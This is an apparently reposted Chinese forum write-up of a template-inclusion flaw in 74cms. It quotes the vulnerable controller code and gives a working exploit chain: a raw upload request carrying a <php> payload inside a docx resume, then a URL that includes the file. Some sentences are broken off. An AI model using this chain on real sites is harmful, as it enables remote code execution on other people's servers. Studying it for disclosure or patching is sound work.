from:90sec
这是一个服务端模板注入漏洞。
Application/Home/Controller/MController.class.php <?php namespace Home\Controller; use Common\Controller\FrontendController; class MController extends FrontendController{ public function index(){ if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){ redirect(build_mobile_url()); } $type = I('get.type','android','trim'); $android_download_url = C('qscms_android_download')?C('qscms_android_download'):''; $ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):''; $this->assign('android_download_url',$android_download_url); $this->assign('ios_download_url',$ios_download_url); $this->assign('type',$type); $this->display('M/'.$type); } } ?> <?php public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') { G('viewStartTime'); // 视图开始标签 Hook::listen('view_begin',$templateFile); // 解析并获取模板内容 $content = $this->fetch($templateFile,$content,$prefix); // 输出模板内容 $this->render($content,$charset,$contentType); // 视图结束标签 Hook::listen('view_end'); } 可见,这里拿到了 拿favicon.ico一下,已经成功包含:
漏洞利用 那么,这个漏洞如何利用?因为type的值是作为display函数的参数传入的,所以实际上这个漏洞可以理解为“模板引擎注入”,我们现在控制了模板的文件目录,现在只需要上传一个内容符合ThinkPHP模板格式的文件,再作为type的值即可。 查看ThinkPHP文档: 可知,要使用原生PHP代码的话,只需要将代码包含在 74cms里,个人用户创建简历后支持上传docx格式的简历。我们上传一个包含 POST /74cms/index.php?m=home&c=upload&a=attach HTTP/1.1 Host: vm.cn Connection: keep-alive Content-Length: 312 Origin: [url=http://vm.cn]http://vm.cn[/url] X-Requested-With: ShockwaveFlash/24.0.0.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36 Content-Type: multipart/form-data; boundary=--------2128837275 Accept: */* Referer: [crayon-58ab582b72e02874608826 lang="flash" ]http://vm.cn/74cms/Application/Home/View/default/public/flash/resumelogo.swf Accept-Encoding: gzip, deflate ———-2128837275 word_resume 1 <php>phpinfo(); </php> pid是简历id,word_resume就是包含模板的文件。上传成功,获取文件名: 再将这个文件名作为type的值,成功执行代码: http://vm.cn/74cms/index.php?m=& … /58a442fca3f70.docx
|